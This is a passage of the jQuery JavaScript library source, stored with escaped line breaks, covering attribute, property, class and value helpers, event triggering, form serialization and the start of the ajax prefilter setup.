https://html.spec.whatwg.org/multipage/syntax.html#attributes-2\n\t\t\tattrNames = value && value.match( rnothtmlwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( ( name = attrNames[ i++ ] ) ) {\n\t\t\t\telem.removeAttribute( name );\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Hooks for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\telem.setAttribute( name, name );\n\t\t}\n\t\treturn name;\n\t}\n};\n\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( _i, name ) {\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = function( elem, name, isXML ) {\n\t\tvar ret, handle,\n\t\t\tlowercaseName = name.toLowerCase();\n\n\t\tif ( !isXML ) {\n\n\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\thandle = attrHandle[ lowercaseName ];\n\t\t\tattrHandle[ lowercaseName ] = ret;\n\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\tlowercaseName :\n\t\t\t\tnull;\n\t\t\tattrHandle[ lowercaseName ] = handle;\n\t\t}\n\t\treturn ret;\n\t};\n} );\n\n\n\n\nvar rfocusable = /^(?:input|select|textarea|button)$/i,\n\trclickable = /^(?:a|area)$/i;\n\njQuery.fn.extend( {\n\tprop: function( name, value ) {\n\t\treturn access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tdelete this[ jQuery.propFix[ name ] || name ];\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set properties on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\treturn ( elem[ name ] = value );\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\treturn elem[ name ];\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\t// Support: IE <=9 - 11 only\n\t\t\t\t// elem.tabIndex doesn't always return the\n\t\t\t\t// correct value when it hasn't been explicitly set\n\t\t\t\t// Use proper attribute retrieval (trac-12072)\n\t\t\t\tvar tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n\t\t\t\tif ( tabindex ) {\n\t\t\t\t\treturn parseInt( tabindex, 10 );\n\t\t\t\t}\n\n\t\t\t\tif (\n\t\t\t\t\trfocusable.test( elem.nodeName ) ||\n\t\t\t\t\trclickable.test( elem.nodeName ) &&\n\t\t\t\t\telem.href\n\t\t\t\t) {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\"\n\t}\n} );\n\n// Support: IE <=11 only\n// Accessing the selectedIndex property\n// forces the browser to respect setting selected\n// on the option\n// The getter ensures a default option is selected\n// when in an optgroup\n// eslint rule \"no-unused-expressions\" is disabled for this code\n// since it considers such accessions noop\nif ( !support.optSelected ) {\n\tjQuery.propHooks.selected = {\n\t\tget: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent && parent.parentNode ) {\n\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t}\n\t\t\treturn null;\n\t\t},\n\t\tset: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\njQuery.each( [\n\t\"tabIndex\",\n\t\"readOnly\",\n\t\"maxLength\",\n\t\"cellSpacing\",\n\t\"cellPadding\",\n\t\"rowSpan\",\n\t\"colSpan\",\n\t\"useMap\",\n\t\"frameBorder\",\n\t\"contentEditable\"\n], function() {\n\tjQuery.propFix[ this.toLowerCase() ] = this;\n} );\n\n\n\n\n\t// Strip and collapse whitespace according to HTML spec\n\t// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace\n\tfunction stripAndCollapse( value ) {\n\t\tvar tokens = value.match( rnothtmlwhite ) || [];\n\t\treturn tokens.join( \" \" );\n\t}\n\n\nfunction getClass( elem ) {\n\treturn elem.getAttribute && elem.getAttribute( \"class\" ) || \"\";\n}\n\nfunction classesToArray( value ) {\n\tif ( Array.isArray( value ) ) {\n\t\treturn value;\n\t}\n\tif ( typeof value === \"string\" ) {\n\t\treturn value.match( rnothtmlwhite ) || [];\n\t}\n\treturn [];\n}\n\njQuery.fn.extend( {\n\taddClass: function( value ) {\n\t\tvar classNames, cur, curValue, className, i, finalValue;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tclassNames = classesToArray( value );\n\n\t\tif ( classNames.length ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tcurValue = getClass( this );\n\t\t\t\tcur = this.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tfor ( i = 0; i < classNames.length; i++ ) {\n\t\t\t\t\t\tclassName = classNames[ i ];\n\t\t\t\t\t\tif ( cur.indexOf( \" \" + className + \" \" ) < 0 ) {\n\t\t\t\t\t\t\tcur += className + \" \";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\tthis.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classNames, cur, curValue, className, i, finalValue;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( !arguments.length ) {\n\t\t\treturn this.attr( \"class\", \"\" );\n\t\t}\n\n\t\tclassNames = classesToArray( value );\n\n\t\tif ( classNames.length ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tcurValue = getClass( this );\n\n\t\t\t\t// This expression is here for better compressibility (see addClass)\n\t\t\t\tcur = this.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tfor ( i = 0; i < classNames.length; i++ ) {\n\t\t\t\t\t\tclassName = classNames[ i ];\n\n\t\t\t\t\t\t// Remove *all* instances\n\t\t\t\t\t\twhile ( cur.indexOf( \" \" + className + \" \" ) > -1 ) {\n\t\t\t\t\t\t\tcur = cur.replace( \" \" + className + \" \", \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\tthis.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar classNames, className, i, self,\n\t\t\ttype = typeof value,\n\t\t\tisValidValue = type === \"string\" || Array.isArray( value );\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).toggleClass(\n\t\t\t\t\tvalue.call( this, i, getClass( this ), stateVal ),\n\t\t\t\t\tstateVal\n\t\t\t\t);\n\t\t\t} );\n\t\t}\n\n\t\tif ( typeof stateVal === \"boolean\" && isValidValue ) {\n\t\t\treturn stateVal ? this.addClass( value ) : this.removeClass( value );\n\t\t}\n\n\t\tclassNames = classesToArray( value );\n\n\t\treturn this.each( function() {\n\t\t\tif ( isValidValue ) {\n\n\t\t\t\t// Toggle individual class names\n\t\t\t\tself = jQuery( this );\n\n\t\t\t\tfor ( i = 0; i < classNames.length; i++ ) {\n\t\t\t\t\tclassName = classNames[ i ];\n\n\t\t\t\t\t// Check each className given, space separated list\n\t\t\t\t\tif ( self.hasClass( className ) ) {\n\t\t\t\t\t\tself.removeClass( className );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.addClass( className );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Toggle whole class name\n\t\t\t} else if ( value === undefined || type === \"boolean\" ) {\n\t\t\t\tclassName = getClass( this );\n\t\t\t\tif ( className ) {\n\n\t\t\t\t\t// Store className if set\n\t\t\t\t\tdataPriv.set( this, \"__className__\", className );\n\t\t\t\t}\n\n\t\t\t\t// If the element has a class name or if we're passed `false`,\n\t\t\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t\t\t// falling back to the empty string if nothing was stored.\n\t\t\t\tif ( this.setAttribute ) {\n\t\t\t\t\tthis.setAttribute( \"class\",\n\t\t\t\t\t\tclassName || value === false ?\n\t\t\t\t\t\t\t\"\" :\n\t\t\t\t\t\t\tdataPriv.get( this, \"__className__\" ) || \"\"\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className, elem,\n\t\t\ti = 0;\n\n\t\tclassName = \" \" + selector + \" \";\n\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\tif ( elem.nodeType === 1 &&\n\t\t\t\t( \" \" + stripAndCollapse( getClass( elem ) ) + \" \" ).indexOf( className ) > -1 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n} );\n\n\n\n\nvar rreturn = /\\r/g;\n\njQuery.fn.extend( {\n\tval: function( value ) {\n\t\tvar hooks, ret, valueIsFunction,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] ||\n\t\t\t\t\tjQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks &&\n\t\t\t\t\t\"get\" in hooks &&\n\t\t\t\t\t( ret = hooks.get( elem, \"value\" ) ) !== undefined\n\t\t\t\t) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\t// Handle most common string cases\n\t\t\t\tif ( typeof ret === \"string\" ) {\n\t\t\t\t\treturn ret.replace( rreturn, \"\" );\n\t\t\t\t}\n\n\t\t\t\t// Handle cases where value is null/undef or number\n\t\t\t\treturn ret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tvalueIsFunction = isFunction( value );\n\n\t\treturn this.each( function( i ) {\n\t\t\tvar val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\tval = value.call( this, i, jQuery( this ).val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\n\t\t\t} else if ( Array.isArray( val ) ) {\n\t\t\t\tval = jQuery.map( val, function( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !( \"set\" in hooks ) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\tvar val = jQuery.find.attr( elem, \"value\" );\n\t\t\t\treturn val != null ?\n\t\t\t\t\tval :\n\n\t\t\t\t\t// Support: IE <=10 - 11 only\n\t\t\t\t\t// option.text throws exceptions (trac-14686, trac-14858)\n\t\t\t\t\t// Strip and collapse whitespace\n\t\t\t\t\t// https://html.spec.whatwg.org/#strip-and-collapse-whitespace\n\t\t\t\t\tstripAndCollapse( jQuery.text( elem ) );\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, option, i,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tone = elem.type === \"select-one\",\n\t\t\t\t\tvalues = one ? null : [],\n\t\t\t\t\tmax = one ? index + 1 : options.length;\n\n\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\ti = max;\n\n\t\t\t\t} else {\n\t\t\t\t\ti = one ? index : 0;\n\t\t\t\t}\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t// IE8-9 doesn't update selected after form reset (trac-2551)\n\t\t\t\t\tif ( ( option.selected || i === index ) &&\n\n\t\t\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\t\t\t!option.disabled &&\n\t\t\t\t\t\t\t( !option.parentNode.disabled ||\n\t\t\t\t\t\t\t\t!nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar optionSet, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tvalues = jQuery.makeArray( value ),\n\t\t\t\t\ti = options.length;\n\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t/* eslint-disable no-cond-assign */\n\n\t\t\t\t\tif ( option.selected =\n\t\t\t\t\t\tjQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1\n\t\t\t\t\t) {\n\t\t\t\t\t\toptionSet = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* eslint-enable no-cond-assign */\n\t\t\t\t}\n\n\t\t\t\t// Force browsers to behave consistently when non-matching value is set\n\t\t\t\tif ( !optionSet ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Radios and checkboxes getter/setter\njQuery.each( [ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = {\n\t\tset: function( elem, value ) {\n\t\t\tif ( Array.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );\n\t\t\t}\n\t\t}\n\t};\n\tif ( !support.checkOn ) {\n\t\tjQuery.valHooks[ this ].get = function( elem ) {\n\t\t\treturn elem.getAttribute( \"value\" ) === null ? \"on\" : elem.value;\n\t\t};\n\t}\n} );\n\n\n\n\n// Return jQuery for attributes-only inclusion\nvar location = window.location;\n\nvar nonce = { guid: Date.now() };\n\nvar rquery = ( /\\?/ );\n\n\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml, parserErrorElem;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\n\t// Support: IE 9 - 11 only\n\t// IE throws on parseFromString with invalid input.\n\ttry {\n\t\txml = ( new window.DOMParser() ).parseFromString( data, \"text/xml\" );\n\t} catch ( e ) {}\n\n\tparserErrorElem = xml && xml.getElementsByTagName( \"parsererror\" )[ 0 ];\n\tif ( !xml || parserErrorElem ) {\n\t\tjQuery.error( \"Invalid XML: \" + (\n\t\t\tparserErrorElem ?\n\t\t\t\tjQuery.map( parserErrorElem.childNodes, function( el ) {\n\t\t\t\t\treturn el.textContent;\n\t\t\t\t} ).join( \"\\n\" ) :\n\t\t\t\tdata\n\t\t) );\n\t}\n\treturn xml;\n};\n\n\nvar rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,\n\tstopPropagationCallback = function( e ) {\n\t\te.stopPropagation();\n\t};\n\njQuery.extend( jQuery.event, {\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\n\t\tvar i, cur, tmp, bubbleType, ontype, handle, special, lastElement,\n\t\t\teventPath = [ elem || document ],\n\t\t\ttype = hasOwn.call( event, \"type\" ) ? event.type : event,\n\t\t\tnamespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split( \".\" ) : [];\n\n\t\tcur = lastElement = tmp = elem = elem || document;\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf( \".\" ) > -1 ) {\n\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split( \".\" );\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\t\tontype = type.indexOf( \":\" ) < 0 && \"on\" + type;\n\n\t\t// Caller can pass in a jQuery.Event object, Object, or just an event type string\n\t\tevent = event[ jQuery.expando ] ?\n\t\t\tevent :\n\t\t\tnew jQuery.Event( type, typeof event === \"object\" && event );\n\n\t\t// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n\t\tevent.isTrigger = onlyHandlers ? 2 : 3;\n\t\tevent.namespace = namespaces.join( \".\" );\n\t\tevent.rnamespace = event.namespace ?\n\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" ) :\n\t\t\tnull;\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data == null ?\n\t\t\t[ event ] :\n\t\t\tjQuery.makeArray( data, [ event ] );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (trac-9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (trac-9724)\n\t\tif ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tif ( !rfocusMorph.test( bubbleType + type ) ) {\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push( cur );\n\t\t\t\ttmp = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( tmp === ( elem.ownerDocument || document ) ) {\n\t\t\t\teventPath.push( tmp.defaultView || tmp.parentWindow || window );\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\ti = 0;\n\t\twhile ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tlastElement = cur;\n\t\t\tevent.type = i > 1 ?\n\t\t\t\tbubbleType :\n\t\t\t\tspecial.bindType || type;\n\n\t\t\t// jQuery handler\n\t\t\thandle = ( dataPriv.get( cur, \"events\" ) || Object.create( null ) )[ event.type ] &&\n\t\t\t\tdataPriv.get( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Native handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && handle.apply && acceptData( cur ) ) {\n\t\t\t\tevent.result = handle.apply( cur, data );\n\t\t\t\tif ( event.result === false ) {\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( ( !special._default ||\n\t\t\t\tspecial._default.apply( eventPath.pop(), data ) === false ) &&\n\t\t\t\tacceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name as the event.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (trac-6170)\n\t\t\t\tif ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\ttmp = elem[ ontype ];\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.addEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\telem[ type ]();\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.removeEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\t// Piggyback on a donor event to simulate a different one\n\t// Used only for `focus(in | out)` events\n\tsimulate: function( type, elem, event ) {\n\t\tvar e = jQuery.extend(\n\t\t\tnew jQuery.Event(),\n\t\t\tevent,\n\t\t\t{\n\t\t\t\ttype: type,\n\t\t\t\tisSimulated: true\n\t\t\t}\n\t\t);\n\n\t\tjQuery.event.trigger( e, null, elem );\n\t}\n\n} );\n\njQuery.fn.extend( {\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t} );\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tvar elem = this[ 0 ];\n\t\tif ( elem ) {\n\t\t\treturn jQuery.event.trigger( type, data, elem, true );\n\t\t}\n\t}\n} );\n\n\nvar\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n\trsubmittable = /^(?:input|select|textarea|keygen)/i;\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tvar name;\n\n\tif ( Array.isArray( obj ) ) {\n\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\n\t\t\t\t// Item is non-scalar (array or object), encode its numeric index.\n\t\t\t\tbuildParams(\n\t\t\t\t\tprefix + \"[\" + ( typeof v === \"object\" && v != null ? i : \"\" ) + \"]\",\n\t\t\t\t\tv,\n\t\t\t\t\ttraditional,\n\t\t\t\t\tadd\n\t\t\t\t);\n\t\t\t}\n\t\t} );\n\n\t} else if ( !traditional && toType( obj ) === \"object\" ) {\n\n\t\t// Serialize object item.\n\t\tfor ( name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\njQuery.param = function( a, traditional ) {\n\tvar prefix,\n\t\ts = [],\n\t\tadd = function( key, valueOrFunction ) {\n\n\t\t\t// If value is a function, invoke it and use its return value\n\t\t\tvar value = isFunction( valueOrFunction ) ?\n\t\t\t\tvalueOrFunction() :\n\t\t\t\tvalueOrFunction;\n\n\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" +\n\t\t\t\tencodeURIComponent( value == null ? \"\" : value );\n\t\t};\n\n\tif ( a == null ) {\n\t\treturn \"\";\n\t}\n\n\t// If an array was passed in, assume that it is an array of form elements.\n\tif ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\n\t\t// Serialize the form elements\n\t\tjQuery.each( a, function() {\n\t\t\tadd( this.name, this.value );\n\t\t} );\n\n\t} else {\n\n\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t// did it), otherwise encode params recursively.\n\t\tfor ( prefix in a ) {\n\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t}\n\t}\n\n\t// Return the resulting serialization\n\treturn s.join( \"&\" );\n};\n\njQuery.fn.extend( {\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\tserializeArray: function() {\n\t\treturn this.map( function() {\n\n\t\t\t// Can add propHook for \"elements\" to filter or add form elements\n\t\t\tvar elements = jQuery.prop( this, \"elements\" );\n\t\t\treturn elements ? jQuery.makeArray( elements ) : this;\n\t\t} ).filter( function() {\n\t\t\tvar type = this.type;\n\n\t\t\t// Use .is( \":disabled\" ) so that fieldset[disabled] works\n\t\t\treturn this.name && !jQuery( this ).is( \":disabled\" ) &&\n\t\t\t\trsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n\t\t\t\t( this.checked || !rcheckableType.test( type ) );\n\t\t} ).map( function( _i, elem ) {\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\tif ( val == null ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tif ( Array.isArray( val ) ) {\n\t\t\t\treturn jQuery.map( val, function( val ) {\n\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t} ).get();\n\t}\n} );\n\n\nvar\n\tr20 = /%20/g,\n\trhash = /#.*$/,\n\trantiCache = /([?&])_=[^&]*/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)$/mg,\n\n\t// trac-7653, trac-8125, trac-8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t * - BEFORE asking for a transport\n\t * - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Avoid comment-prolog char sequence (trac-10098); must appease lint and evade compression\n\tallTypes = \"*/\".concat( \"*\" ),\n\n\t// Anchor tag for parsing the document origin\n\toriginAnchor = document.createElement( \"a\" );\n\noriginAnchor.href = location.href;\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];\n\n\t\tif ( isFunction( func ) ) {\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( ( dataType = dataTypes[ i++ ] ) 